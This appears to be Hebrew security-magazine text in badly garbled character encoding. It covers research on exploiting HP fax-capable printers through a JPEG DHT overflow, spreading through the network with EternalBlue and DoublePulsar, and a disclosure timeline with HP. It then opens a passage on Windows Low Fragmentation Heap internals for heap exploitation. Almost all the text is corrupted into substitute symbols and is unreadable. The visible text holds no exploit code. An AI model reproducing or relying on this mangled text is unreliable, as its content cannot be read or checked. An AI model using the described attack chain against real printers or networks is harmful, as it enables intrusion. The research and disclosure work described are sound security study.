 ˪˷ ˫ˣ˩˯ˢ ,ˣˮ˶˥˟˷ ˢˮ˸˷ˬˢ ˫˷˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩16 ˪ ˡ˰ ˰˧ˠˢ˪ ˪ˣ˩˧ ˫˧˸˟-4080 )16*255= ˶˲˯ˬ ,(

 ˪˷ ˰ˣˮ˴ ˸˧ˮ˯˥ˬ ˳˴ˣ˥ˬ ˶˸ˣ˧ ˪ˣˡˠ ˸˧˸ˣ˰ˬ˷ˬ ˞ˣˢ˷256  ˪˰ ˢ˦ˣ˷˲ ˭ˣ˶˩ˤ ˸˯˧˶ˡ ˣˮ˞˴ˬ ,ˢ˪˥˞ .˫˧˸˟

,˸˧ˮ˯˥ˬˢ  ˫˧ˣˣ˸ ˧˴ˣ˪˧˞ ˞˪˪J 

 

 ,ˡ˟˰˧ˡ˟DHT )Define Huffman Table ˪ˡˣˠ˟) ˢˮˣˬ˸˪ ˸˧ˡˣ˰˧ ˢ˯˧˥ˡ ˸˴˧˶˦ˬ ˶˞˸ˬ (4X4 = 16 ,(

 ˡˣ˵ˢ ˸˞ ˞ˣ˶˵˪ ˦ˣ˷˲ ˪˵ ˶˸ˣ˧ ˫˧ˬ˰˲˪ ,˪˰ˣ˲˟ .ˣˮ˥˪˷˷ ˢˮˣˬ˸ˢ ˶ˣ˟˰ ˢ˪˧˰˧ ˢ˯˧˥ˡ ˶˷˲˞˪ ˢ˶ˣˬ˞ˢ

˟ ˯ˡˮˢˬˢ ˢ˴˶ ˢˬ ˭˧˟ˢ˪ˣ ˭˵˸ˢ ˸˞ ˞ˣ˶˵˪ ˶˷˞ˬ ,˯'˪˩˸˟ ˞˶ˣ˵ ˢˬ ˭˧˟ˢ˪ˣ.˶ˣ˵ˬ 
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˭ˣˮ˩˸ ˢ˲˧˵˸ˢ 

ˢ ˭ˬ˯˟ ˢ˷˪ˣ˥ˢ ˸˞ ˣˮ˶˥˟ ˢ˲˧˵˸ˢ ˶ˣ˟˰-DHT ˪˩ˣˮ ,ˢ˷˰ˬ˪ .˪ˣ˴˧ˮ˪ ˶˸ˣ˧˟ ˢ˦ˣ˷˲ˢ ˞˧ˢ ˧˩ ˶˵˧˰˟ ,

 ˫˧ˣˣ˸ ˧˴ˣ˪˧˞ ˣˮ˪ ˭˧˞ ˣ˪˧˲˞ ˣ˧˷˩˰˷˩ ˶˵˧˰˟ ,ˠ˞˟˧ˡˢ ˸˷˪ˣ˥˪ ˣˮ˟˸˩ ˶˟˩˷ ˪ˣ˴˧ˮˢ ˟ˣ˶˟ ˷ˬ˸˷ˢ˪

.˫ˢ˧˪˰ ˶˟ˠ˸ˢ˪ 

 

˧˪˩ ˧ˬˣˮˣ˦ˣ˞ - ˷ˣˬ˧ˬ ˸ˮˣ˩ˬ ˠˮ˧˶ˣ˧˦ 

 ˣ˸ˣ˞˟ ˷ˬ˸˷ˢ˪ ˣˮ˪˩˧˷ ˡˣ˰˟Loader  ˪˷ ˧˸˷˶Scout ˪˩ˢ ˨˯˟˷ ˱˵ˣ˸˪ ˷˧ ˥ˣ˩ ˢˬ˩ ˫˧ˠˡˢ˪ ˣˮ˦˪˥ˢ ,

 ˞ˣˢ ˫˶˦˟ ˢ˵˧ˡ˟ ˫ˣ˷ ˶˟ˣ˰ ˞˪ˣ ˣ˪ˡˣˠ˟ ˪˟ˠˣˬ ˞˪ ˦˰ˬ˩ ˣˮ˥˪˷˷ ˯˵˲ˢ .˭˟˶ˣ˵ˢ ˪˞ ˭˧ˣ˰ ˯˵˲ ˥˪˷

 ˪˰ˬ ˣ˸ˣ˞ ˥ˣ˪˷˪ ˫ˣ˵ˬ˟ ,ˣ˩ˣ˸˟ ˢˬˠˡˢˢ ˧˪˩ ˪˩ ˸˞ ˶ˣˬ˷˪ ˪˩ˣˮ ˭˩˪ˣ ,˭˟˶ˣ˵ˢ ˪˷ ˭ˣ˶˩ˤ˪ ˶ˬ˷ˮ ˸˷˶

.˦ˮ˶˦ˮ˧˞ˢ 

) ˳˟ˣ˵ˢ ˢˢˤˬ ˧˩ ˢˡ˟ˣ˰ˢ ˫˰ ˡ˥˧ ,ˣˤ ˢˡ˟ˣ˰ ˪˷ ˟ˣ˪˧˷ˢfd ˨˩˪ ˪˧˟ˣˢ ,˭ˣ˶˩ˤ˟ ˰ˣˡ˧ˣ ˰ˣ˟˵ ˫ˣ˵ˬ˟ ˶ˬ˷ˮ (

 ˣˮ˷ˬ˧ˬ˷Loader  ˫˰˲ ˪˩˟ ,˭ˣ˶˩ˤ˪ ˢˮ˧˰˦ˢ ˶˥˞˪ .ˣˬ˴˰ ˯˵˲ˢ ˳˟ˣ˵ ˨ˣ˸ˬ ˞˪ˬˢ ˧˪˩ˢ ˸˞ ˞˶ˣ˵ ˶˷˞

ˢ ,(˸˯˲ˡˬˢ ˨˯ˬ ˪˰ ˢˠ˴ˢ˪ ˢ˟˧ˮˠˬ ˢˮˣˬ˸ ,˪˷ˬ˪) ˦˪˵ ˪˟˵˪ ˨˧˶˴ ˧˪˩ˢ˷ ˸˞ ˞ˣ˶˵˪ ˨˧˷ˬˬ ˦ˣ˷˲ ˞ˣ

 ˦˪˵˟ ˣ˩˶ˡ ˸˪˧˥˸˟ ˡ˧˧ˣ˴ˬ˷ ˧ˬˣˮˣ˦ˣ˞ ˧˪˩ ˣˮ˷ˬ˧ˬ ,ˢ˷˰ˬ˪ .˭˰˦ˮ ˞ˣˢ ˣˮˬˬ ˳˟ˣ˵ˢ ˣ˸ˣ˞ ˨ˣ˸ˬ ˦˪˵ˢ

 ˳˟ˣ˵) ˦˶˯ˢˬ ˦˪˵ ˸˞˶ˣ˵ ˶˷˞ ˠˮ˧˶ˣ˧˦ ˸ˮˣ˩ˬ ˣˬ˩ ˠˢˮ˸ˬ ˣˬ˴˰ ˧˪˩ˢ ,˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟˪ ˣ˸ˣ˞ ˷ˬ˷ˬˢ ˧˲ˣ˯

-sάWt9Dέ.˫˞˸ˢ˟ ˸ˠˢˮ˸ˬˣ ( 

 

˸˲˧˵˸ ˸˷˶ˢ ˸˧ˮˣˠ˶˞ˢ 

 ˸ˣ˦˪˸˷ˢ ˪˩ˣˮ˷ ˥ˣ˦˟ ˭˩˪ˣ ˸˧ˮˣˠ˶˞ˢ ˸˷˶˪ ˸˶˟ˣ˥ˬ ˸˯˲ˡˬˢ ˪˟˞ ,ˢˡˬ˥ˮ ˞˧ˢ ˸˯˲ˡˬˢ ˪˰ ˢ˞˪ˬ

˪ ˰ˠˣˮ˟ ˣˮ˪˷ ˢ˴ˣ˟˵˟ ˣ˰˴ˣ˟˷ ˫˧ˬˡˣ˵ˢ ˫˧˶˵˥ˬˢ ˪˰ ˨ˬ˸˯˧ˢ˟ .ˢ˧˪˰ ˦˪˸˷ˢ˪ ˵˶ˬ ˶˸ˣ˧ ˸ˣ˷˰˪-

EternalBlue ˪˷ˣ (˭ˬ˯ˣ˶ˠ ˟ˡˮ ˪˷ ˶˵˥ˬ)-DoublePulsar  ˢ˧ˢ˧˷ ˣˮ˦˪˥ˢ ,(˵˧˦˥˪ ˵˶˞ˬ ˪˷ ˶˵˥ˬ)

˲ˡˬ˪ ˫ˣ˶ˠ˪ ˡˬ˥ˮˢ ˪˷ ˣˬ˩ ˢ˲˧˵˸ ˸˪ˣ˩˧ ˫˰ ˫˪ˣ˰˟ (˸ˡ˰ˣ˸ˬˢ) ˢˮˣ˷˞˶ˢ ˸˯˲ˡˬˢ ˸ˣ˧ˢ˪ ˣˮ˪˷ ˸˯-

NSA. 

:˸ˣ˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˬ ˶˷˞ ˧ˬˣˮˣ˦ˣ˞ ˧˪˩ ˸ˣˣ˴˟ ˣˮ˷ˬ˧ˬ ,ˢˬˠˡˢˢ ˨˶ˣ˴˪ 

1. ˢ ˨˯ˬ ˪˰ ˣˮ˸˶˧˥˟˪ ˢˮˣˬ˸ ˸ˠ˴ˢ-LCD   ˸˯˲ˡˬˢ ˪˷- ˸˯˲ˡˬ˟ ˢ˦˧˪˷ˢ ˸ˬˠˡˢ ˨˶ˣ˴˪ 

2. ˣ˥˪˞ ˣ˞ ˸˧˦ˣ˥) ˸˷˶˪ ˸˶˟ˣ˥ˬ ˸˯˲ˡˬˢ ˫˞ˢ ˢ˵˧ˡ˟(˸˧˦ 

3.  ˪˷ ˷ˣˬ˧ˬEternalBlue x-DoublePulsar  ˸˷˶ ˢ˸ˣ˞˪ ˫˧˶˟ˣ˥ˬˢ ˫˧˟˷˥ˬ ˪˰ ˦˪˸˷ˢ˪ ˧ˡ˩˟

˸˯˲ˡˬˢ ˣˬ˩ ˸˧ˮˣˠ˶˞ 
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Responsible Disclosure 

) ˸˪ˣ˩˧ ˸˥˩ˣˢ ˣˮ˞˶ˢ˷ ˰ˠ˶˟PoCˢ ˸ˣ˷˪ˣ˥ ˪˷ (-JPEG ˨˧˪ˢ˸˟ ˣˮ˪˥˸ˢ ,Responsible Disclosure 

 ˪ˣˬ (˧˞˶˥˞ ˭ˣ˵˧˸)HP: 

¶ 1  ˧˞ˬ˪2018 - ˪ ˸ˣ˷˪ˣ˥ˢ ˧˦˶˲ ˸˥˧˪˷-HP 

¶ 1  ˧˞ˬ˪2018 -  ˪˷ ˢ˩˧ˬ˸ˢ ˸ˣˣ˴ˬ ˧ˮˣ˷˞˶ ˢˮ˰ˬ ˸˪˟˵HP 

¶ ˧˞ˬ- ˧ˮˣ˧2018 -  ˪˷ ˡ˴˟) ˸ˣ˞˴ˣ˸ˢ ˶ˣˤ˥˷˪ ˥˧˷ ˣˡHP˭ˣ˵˧˸ ˥ˣ˸˧˲˟ ˰ˣ˧˯ˣ ( 

¶ 2-3  ˧˪ˣ˧2018 - ˫˧ˮ˲ ˸˷˧ˠ˲-˪˞- ˫˰ ˫˧ˮ˲HP 

o ˶˵˥ˬˢ ˪˷ ˧ˮ˩˦ ˶ˣ˞˧˸ ˸˪˪ˣ˩ˢ ˢ˧˥ ˢˬˠˡˢ˟ ˣˬˠˡˣˢ ˸ˣ˷˪ˣ˥ˢ 

o  ˪˷ ˫˧ˮˣ˵˧˸ˢHP ˸ˣ˷˪ˣ˥ˢ ˧˸˷ ˸˞ ˫˧ˮ˵˸ˬ ˭˩˞ ˫ˢ˷ ˦˪˥ˣˢ˷ ˡ˰ ˣ˵ˡ˟ˮ 

¶ 23  ˧˪ˣ˧2018 -  ˧ˡ˧ ˪˰ ˣˠ˶ˣˡ ˸ˣ˷˪ˣ˥ˢHP  ˡˣ˵˧ˮ ˫˰ ,"˸ˣ˧˦˧˶˵"˩CVSS  ˪˷9.8  ˨ˣ˸ˬ)10( 

¶ 1  ˦˯ˣˠˣ˞2018 - HP  ˣ˶˶˥˷patch ˸ˣ˯˲ˡˬˢ ˸˞ ˭˩ˡ˰˪ ˸ˣ˥ˣ˵˪ˢ ˪˩˪ ˸˞˶ˣ˵˷ ˢ˞˶˸ˢ ˫˰ ˡ˥˧ 

o ˬ ˶˸ˣ˧) ˸˧˟˶ˬ-300ˢ ˧ˬˠˡ (-OfficeJet ˪ˣ˥˪ ˫˧˰˧ˠ˲ˣˮˠ˴ˢ˷ ˸ˣ˷ 

o  ˶˸˞˪ ˣˮ˲ ˫˪ˣ˰ˢ ˧˟˥˶˟ ˸ˣ˯˲ˡˬ ˧ˮˣ˧˪˧ˬˣ ˭ˣˣ˧˩ˬFTP  ˪˷HP  ˢ˶ˣ˴˟ ˭ˣ˩ˡ˰ˢ ˸˞ ˡ˧˶ˣˢ˪ ˧ˡ˩˟

˸˧˦ˬˣ˦ˣ˞) ˪˲ˮ ˶˸˞ˢ ,DDoS˭ˣ˩ˡ˰ˢ ˶ˣ˶˥˷ ˶˥˞˪˷ ˷"˲ˣ˯˟ ( 

¶ 12  ˦˯ˣˠˣ˞2018 -  ˸ˬ˧˟ ˪˰ˬ ˶˵˥ˬˢ ˪˷ ˸˧ˬ˷˶ ˢˠ˴ˢDEFCON 26 
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˫ˣ˩˧˯ 

 ˶˵˧˰˟ˣ ˫˧˟˶ ˫˧˶˴ˣˬ˟ ˸ˣ˟˪ˣ˷ˬ ˯˵˲ ˸ˣˮˣ˩ˬ ,˫ˣ˧˩ ˸ˣ˟˪ˣ˷ˬ ˸ˣ˯˲ˡˬˬ ˡ˶˲ˮ ˧˸˪˟ ˵˪˥ ˸ˣˣˢˬ

˫ˣ˧ˢ ˧˧˥˟ ˣˮ˸ˣ˞ ˸ˣ˷ˬ˷ˬˢ- ˧˩ ˸ˣ˞˶ˢ˪ ˢ˶˦ˬ˪ ˣˮˬ˴˰˪ ˣˮˬ˷ ˢˤ ˶˵˥ˬ˟ ,˭˩˪ˣ .ˢˡˣ˟˰˟ˣ ˸˧˟˟ ˫ˣ˧

ˢ ˸ˣˮ˷ˬ ˟˩˶ˣˬˣ ˭˷˧ ˪ˣ˵ˣ˦ˣ˶˲ ,˯˵˲ˢ ˪ˣ˵ˣ˦ˣ˶˲-80˪˶ ˢ˲˧˵˸ ˵˧˲˞ ˞ˣˢ ,ˣˣ ˟˪ ˸ˬˣ˷˸˪ ˢ˩ˤ ˞˪ ˶˷˞ ,˧˦ˮ

.˰ˡ˧ˬˢ ˸˥˦˟˞ ˸˪˧ˢ˵ ˡ˴ˬ ˸˵˲˯ˬ 

˷ˣˬ˧˷ˢ ˸ˣ˰˴ˬ˞˟  ˸ˣ˯˲ˡˬ˟InkJet  ˸˶˟˥ ˪˷HP ˫ˠ ˣˮ˥˪˴ˢˣ ,ˡ˟ˣ˰ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˡ˴˧˩ ˡˣˬ˪˪ ˣˮ˥˪˴ˢ ,

!˯˵˲ ˸˥˧˪˷ ˸ˣ˰˴ˬ˞˟ ˸˟˪ˣ˷ˬ ˸˯˲ˡˬ ˪˰ ˢ˞˪ˬ ˸ˣ˦˪˸˷ˢ :ˣˮ˧˴˶˷ ˸˞ ˫˧ˠˡˢ˪ 

 :˫˧˲ˣ˴ˢ ˪ˢ˵˪ ˣˮ˪ ˷˧˷ ˟ˣ˷˥ˢ ˶˯ˬˢ ˸˞ ˶˧˟˰ˢ˪ ˧ˡ˩ ˣˤˢ ˢˬ˟ˢ ˸˞ ˪˴ˮ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˣ˵˧˯˲˸

,˯˵˲˟ ˷ˬ˸˷ˢ˪  ˫˧˟˧˧ˣ˥ˬ ˫˸˞ ˢ˶˵ˬ˟ ˫˞ˣ .˶˸ˣ˧ ˸ˣ˷ˡ˥ ˸ˣ˧ˠˣ˪ˣˮ˩˦˟ ˷ˬ˸˷ˢ˪ ˶ˣ˟˰˪ ˭ˬˤˢ ˰˧ˠˢ

.˸˧ˮˣˠ˶˞ˢ ˸˷˶ˢˬ ˭˸ˣ˞ ˵˸ˮ˪ˣ ˫˩˪˷ ˸ˣ˯˲ˡˬˢ ˸˞ ˭˩ˡ˰˪ ˫˩˪ ˫˧˴˧˪ˬˬ ˣˮ˞ ,˯˵˲˟ ˷ˣˬ˧˷ ˸ˣ˷˰˪ 

 

 

˸ˣ˧ˮ˲ˢ ˰ˡ˧ˬ˪ ˱˯ˣˮ 

 ˭˧˧˰˪ ˫˩˸˞ ˫˧ˮ˧ˬˤˬ ˣˮ˞ ,˱˯ˣˮ ˰ˡ˧ˬ ˫˰ ˧ˮˣ˴˧˥ ˵ˮ˧˪˪ ˢ˧˧ˮ˲ˢ ˫ˣ˵ˬ ˪˩˟ ˱˧˯ˣˢ˪ ˫ˣ˵ˬ˟ ˧˶˵˥ˬˢ ˠˣ˪˟˟

 ˰ˡ˧ˬˢ ˸ˣ˶ˣ˵ˬ ˪˩ ˸ˬ˧˷˶ ˸˞ ˫ˠ ˣˬ˩ ˢˬˠˡˢˢ ˭ˣ˦˶˯ ˸˞ ˪˪ˣ˩ ˞ˣˢˣ ,˶˵˥ˬˢ ˸˴ˣ˟˵ ˪˷ ˶˸˞˟ ˣˮˬ˯˶˲˷

:˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˫˧ˮ˲ˬ ˣˮ˥ˮ˞ ˫ˢ˧˪˞ / ˣ˶ˤ˰ˮ ˫ˢ˟ 

https://research.checkpoint.com/sending-fax-back-to-the-dark-ages/ 

  

https://research.checkpoint.com/sending-fax-back-to-the-dark-ages/
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 ˧˪ˣ˴˧ˮLow Fragmentation Heap ˟-Windows 

Userspace 

˶ˬ˞ ˶˰˯ ˸˞ˬ 

 

ˢˬˡ˵ˢ 

 ˭˧˟ ˸ˣˮˣ˷ ˸ˣ˶ˣ˴ ˷˟ˣ˪ ˞ˣˢˣ ,˸˩˶˰ˬ˟ ˫˧˟˧˩˶ ˦˰ˬ ˞˪˟ ˢˮ˟ˢˣ ˸ˣˮˬˣ˧ˬ ˷˶ˣˡ ˭ˣ˶˩˧ˤ ˸˩˧˶ˡ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ

˟ ˢ˩˧˶ˡ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ,˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷˟ .˸ˣˮˣ˷ ˸ˣˬ˶ˣ˲˦˪˲-Windows userspace  .˭˧˧ˮ˰ˬˣ ˶ˠ˸˞ˬ ˢ˧ˢˮ

 ˸ˣ˷˪ˣ˥ ˫˧˪˴ˮˬ˷˩memory corruptions ˢ ˸˞ ˸ˣ˟˶˰ˬ˷-heap ˢ˟˧˸˩/ˢ˞˧˶˵ ˣˬ˩ ,Out of bound ,

UAF ˢ ˨˧˞ ˭˧˟ˢ˪ ˡ˞ˬ ˟ˣ˷˥ ,'ˣ˩ˣ-allocator  ˸˞ ˪ˢˮˬ ˞ˣˢ ˨˧˞ :ˡ˟ˣ˰ ˧˦ˮˣˣ˪˶ˢchunk- ˭˟ˣˬ˩ˣ ˭ˣ˶˩˧ˤ˟ ˫˧

 .˫˧˞˶ˮ ˫ˢ ˨˧˞ 

ˢ ˪˰ ˶˲˯˧ ˢˤ ˶ˬ˞ˬ-allocator ˟ ˟˶ˣ˰ˬ˷ ˧ˤ˩˶ˬˢ-Windows userspaceˢ ˞ˣˢ˷ ,-Low Fragmentation 

Heap (LFH). 

 

?ˢ˲˞˪˟ ˣ˞ ˢ˸˧˲˟ 

 .˭ˢ˪˷ ˢ˴˧˶ˢ ˨˪ˢˬ˟ ˸˧ˬ˞ˮ˧ˡ ˭ˣ˶˩˧ˤ ˸ˣ˪ˢˮˬ ˸ˣˮ˩ˣ˸˷ ˶ˬ˞ˬˢ ˧˞˶ˣ˵ ˟ˣ˶ ˸˞ ˰˧˸˲˧ ˞˪˷ ˢ˞˶ˮ˩

 ˪˷ ˸˧˦˶ˡˮ˦˯ˢ ˢ˧˧˶˲˯ˢ ˪˷ ˫˧˵˷ˬˬˢC  ,˭ˣ˶˩˧ˤ ˪ˣˢ˧ˮ˪malloc x-free ˡˣ˞ˬ ˫˧˦ˣ˷˲ ˫ˢ ,:˫˸˧˪˩˸˟ 

 ,ˡˣ˞ˬ ˷˧ˬˠ ˢˤˢ ˵˷ˬˬˢ .ˣ˸ˣ˞ ˶˶˥˷˪ ˣ˞ ,˫˧ˣ˯ˬ ˪ˡˣˠ˟ ˧ˣˮ˲ ˭ˣ˶˩˧ˤ ˶ˣˤ˞ ˷˵˟˪ ˡˣ˵˪ ˫˧˶˷˲˞ˬ ˫ˢ

ˢ ˧ˡ˧˟ ˫˧˟˞˷ˬˢ ˪ˣˢ˧ˮ ˪˷ ˢ˷˵ˢ ˢˡˣ˟˰ˢ ˸˞ ˶˧˞˷ˬˣ-allocator ˫˰ ˡˡˣˬ˸ˢ˪ ˣˮˬˬ ˷˶ˣˡ ˞ˣˢ ,˪˰ˣ˲˟ .

˫˧˴ˣ˵˪˞") ˭ˣ˶˩˧ˤˢ ˸ˣ˞˴˵ˢ ˪ˡˣˠ˪ ˰ˠˣˮ˟ ˢ˥˦˟ˢ ˫ˣ˷ ˭˧˞ ˧˩ ,˸˧˯˥˧ ˫˧˷˵ ˫˧˟˴ˬ ,˫ˢ˪˷ ˸ˣˬ˩ˢ ,ˣ˧ˢ˧˷ ("

˟ ˫ˢ˪˷ ˷ˣˬ˧˷ˢˣ ,˫˧˶ˣ˶˥˷ˢˣ ˫˧˴ˣ˵˪˞ˢ ˶ˡ˯-thread- ,˶ˣ˦˵ˣ˪˞ˢˬ ˸˷˶ˡˮˢ ˸ˣ˟˩˶ˣˬˢ .˫˧ˮˣ˷ ˫˧

.˭ˣ˶˩˧ˤ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˟ ˟ˣ˷˥ ˡ˰˧˪ ˣ˸ˣ˞ ˢ˩˲ˢ ,ˡˣ˵˟ ˣ˪˷ ˳ˣ˲ˮˢ ˷ˣˬ˧˷ˢ ˟ˣ˪˧˷˟ 

-˟Windows ˣˬ˩ ˸ˣ˧˴˵ˮˣ˲ .˶ˣ˦˵ˣ˪˞ ˣ˸ˣ˞˪ ˫˧˰˧ˠˬ˷ ˶˸ˣ˧ ˫˧˶˧˷˰ ˫˧˵˷ˬˬ ˶˲˯ˬ ˷˧ ,malloc x-

LocalAlloc ˟ ˸ˣ˷ˬ˸˷ˬ˷ ˸ˣ˲˧˦˰ ˭ˢ-heap  ˣ˧˪˰ ˸ˣ˷ˣ˰ˣ ˧ˤ˩˶ˬˢHeapAlloc ˸˶˷˲˞ˬ ˣˤˢ ˢ˧˴˵ˮˣ˲ˢ .

 ˢˤ˧˞˟ ˭˧˧˴˪ ˣˮ˪heap  ˢˬ˩˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞ˣ ˢˡ˧ˬ˟ ,˫˧˴˵˪˞ˬ ˣˮ˥ˮ˞heapˢ ˭ˣ˧˴˪ ˶˟˰ˬ .˫˧-heap x-

flag ˣˬ˩ ˞˧ˢ ˫ˠ ,˫˧˲˯ˣˮ ˫˧malloc .˸˟ˣ˸˩ ˢ˶˧ˤ˥ˬˣ ˳ˣ˵˪˞ˢ ˪ˡˣˠ ˸˞ ˸˪˟˵ˬ 

˪ ˡ˰-Windows Vista˟ ˧ˤ˩˶ˬˢ ˶ˣ˦˵ˣ˪˞ˢ ,-userspace ˢ ˢ˧ˢ-NT heap ˣ˧ˢ ˢ˪˞ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ˣ ,

 .ˣ˧˪˞ ˸ˣ˰˧ˠˬNT heap  ˞ˣˢgeneral purpose allocator  ˪ˢˮˬ˷ ,˸˧˯˥˧ ˟˩˶ˣˬchunk- ˫˧˪ˡˠ˟ ˫˧
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 ˣ˪˧˟˵ˬ ˸˞ ˸ˬ˧ˣ˯ˬ ˢˡ˧ˬ˟ ˶˧˩ˤˬ ˞ˣˢ .˨˶ˣ˴ˢ ˸ˡ˧ˬ˟ ˭ˣ˶˩˧ˤ˟ ˫˸ˣ˞ ˶˟˥˪ˣ ˵˪˥˪ ˰ˡˣ˧ˣ ,˫˧ˮ˸˷ˬ

ˢ ,˧˯˵ˣˮ˧˪dlmalloc ˢ˩˧˸˥ ˫˧˩˸ˣ˥ ˣ˧ˢ ˳ˣ˵˪˞ ˪˩˟ ˭˩˪ ,˭ˣ˶˩˧ˤ˟ˣ ˭ˬˤ˟ ˫˧˪˧˰˧ ˸ˣ˧ˢ˪ ˞˧ˢ ˫ˢ˪˷ ˢ˶˦ˬˢ .

) ˪ˣˡˠ ˸˧˯˥˧ ˶ˣˤ˞ˬchunk ˶˴ˣ˧ ˢ˧ˢ ˢˤ .˶ˣ˦˵ˣ˪˞ˢ ˪ˣ˲˧˦˪ ˸˞ˤˢ ˢ˩˧˸˥ˢ ˸˞ ˫˧˶˧ˤ˥ˬ ˶ˣ˶˥˷˟ˣ ,(

˟ ˢ˧˴˦ˮˬˠ˶˲-heap ˢ˪˞˩ ˸ˣ˩˧˸˥ ˪ˣ˴˧˲ˣ ˡˣ˥˧˞ ˧ˡ˧ ˪˰ ,ˢ˟ ˪˲˦˪ ˫˧˩˧˶˴ ˣ˧ˢ ˭ˢ ˢ˸˧˞˷. 

 ˪˷ ˪ˮ˶˵˟ ˳ˣ˲ˮˢ ˸ˣˮ˩˸ˢ ˭ˣˮˠ˯ ,˸˞ˤ ˸ˣ˶ˬ˪Windows x-Linux :ˢˮˣ˷ ˢ˧ˢ  ˫˧˴ˣ˵˪˞˟ ˷ˬ˸˷ˢ˪ ˫ˣ˵ˬ˟

 ˫˧˶ˡˠˣˬ ,˫˧ˮ˸˷ˬ ˫˧˪ˡˠ˟pool-˪ ˫˧˩ˣ˸˥ˣ ˷˞˶ˬ ˫˧ˮ˩ˣˬ˷ ˭ˣ˶˩˧ˤ˟ ˫˧˶ˣˤ˞ ˢ˷˰ˬ˪ ˫ˢ˷ ,˫˧-chunk- ˫˧

˟ ˭ˣ˶˩˧ˤˢ ˪ˣˢ˧ˮ ,ˢ˷˰ˬ˪ .˰ˣ˟˵ ˪ˡˣˠ˟-pool-ˢ ˧ˮ˲˪ ˡˣ˰ ˧˩ ,˶˸ˣ˧ ˦ˣ˷˲˪ ˨˲ˣˢ ˢ˪˞˩ ˫˧ ˶ˣ˦˵ˣ˪˞ˢ ˳ˣ˵˪˞

 ˸˞ ˨˯ˣ˥ ˢˤ ˧˩ ˭ˬˤ˟ ˪˧˰˧ ˡˣ˞ˬ ˢˤ .(˶ˣ˶˥˷˟ ,ˣ˧˪˞ ˣ˶˧ˤ˥˧˷ ˣ˞) ˣˮˬˬ ˣ˷˵˟˧˷ ˪ˡˣˠˢ ˢ˧ˢ˧ ˢˬ ˵ˣ˧ˡ˟ ˰ˡˣ˧

 ˪ˣ˴˧˲ˣ ˡˣ˥˧˞ ˪˷ ˢ˵˧ˠˣ˪ ˢ˸ˣ˞chunk- ˣ˪ ˶˷˲˞ˬ ˫ˠ ˢˤ ˧˩ ˟ˣ˷˥ ˢˤ ˪ˮ˶˵˪ .˭ˬˤˢ ˪˩ ˸ˣ˶˵˪ ˢ˩˧˶˴˷ ,˫˧

ˢ˟) ˪˷˩ˢ˪ ˫˧˪ˣ˩˧ ˞˪ ˫˧ˬ˧ˣ˯ˬ ˫˧˴ˣ˵˪˞˷ ˸˰ˡ˪ˣ ˷˞˶ˬ ˭ˮ˩˸˪˟ ˫˧˪˲ˣ˦ˬ˷ ˫˧˟˞˷ˬˢ ˪ˣˢ˧ˮˣ ˢ˥ˮ-pool 

ˢ ˡ˴˟ ,˭ˣ˩ˮ ˞ˣˢ ˢˤˢ-caller .( 

 ˶˷˲˞ ˢ˧ˢ ,˫˧˲˧ ˫˧˪ˡˠ˪ ˰˧ˠˬ ˶˟˩˷ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˫˰ˣ ,ˡˣ˞ˬ ˪ˣˡˠ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˫˰ ,˸˧˦˵˶˲

 ˫˷˧˧˪design ˟ ˫ˠ ˢˬˣˡ-userspace ˫˰ ˸ˣ˶˧˷˧ ˸ˣˡ˟ˣ˰ ˫ˣ˧˩˷ ˸ˣˮ˩ˣ˸ ˭ˣˬˢ ˸ˣˮ˷˪ ˷˶ˣˡ ˢ˧ˢ ˢˤ ˪˟˞ ,

 ˸ˣ˧˴˵ˮˣ˲.˸ˣ˶˩ˣˬˢˣ ˸ˣ˧˦˶ˡˮ˦˯ˢ ˳ˣ˵˪˞ˢ 

˟ ,ˢˤ ˪˰ ˸ˣˮ˰˪ ˧ˡ˩-Windows Vista  ˫˧˶ˣ˦˵ˣ˪˞ ˧ˮ˷˪ ˶ˣ˦˵ˣ˪˞ˢ ˸˞ ˣ˪˴˧˲- frontend x-backendˢ .-

backend ˢ ˞ˣˢ-NT heap ˢ ˪˩ ˨˶ˡ ˫˧˴ˣ˵˪˞ .˶˩ˣˬˢˣ ˭˷˧ˢ-API-˪ ˪˩ ˫ˡˣ˵ ˣ˰˧ˠ˧ ˳ˣ˵˪˞˪ ˫˧-frontend ,

˟ ˶ˤ˰ˮ˷-backend .ˣˬ˴˰ ˪˷ ˫˧˟˞˷ˬˢ ˪ˣˢ˧ˮ˪ 

 ˢ˲ˣˢ ˢˮˣˬ˸˪ ˯ˮ˩ˮ-Low Fragmentation Heap ,˶ˣ˴˧˵˟ ˣ˞ ,LFHˢ .-LFH ˢ ˞ˣˢ-frontend allocator 

ˬ ˪˥ˢ-Windows Vista ,˸˧ˮ˩ˣ˸ˢ ˸˴˧˶ ˨˪ˢˬ˟ ˫˧˴ˣ˲ˮˢ ˫˧˴ˣ˵˪˞ˢ ˧˪ˡˠ ˢˬ ˷˧ˠ˶ˢ˪ ˞ˣˢ ˣ˪˷ ˢ˶˦ˬˢ .

 ˫˶ˣ˟˰ ˳˵˪˞˪ˣpool-ˢ ˨˶ˡ ˡˣ˞ˬ ˫˧˪˧˰˧ ˫˧-backend ˨ˣ˸ˬ ˢ˪˞˩ ˫˧˪ˡˠ ˸˶˷˪ ˪˧˥˸˧ ˞ˣˢ ,˫˷ˬ . ˣ˸ˣ˞

pool ˢ ˸˲˷˟ ˞˶˵ˮ˷)-LFH  ˫˷˟userblocks˪ ˸˩˪˪ ˫ˣ˵ˬ˟ ,(-backend  .˳ˣ˵˪˞ ˪˩ ˶ˣ˟˰ 
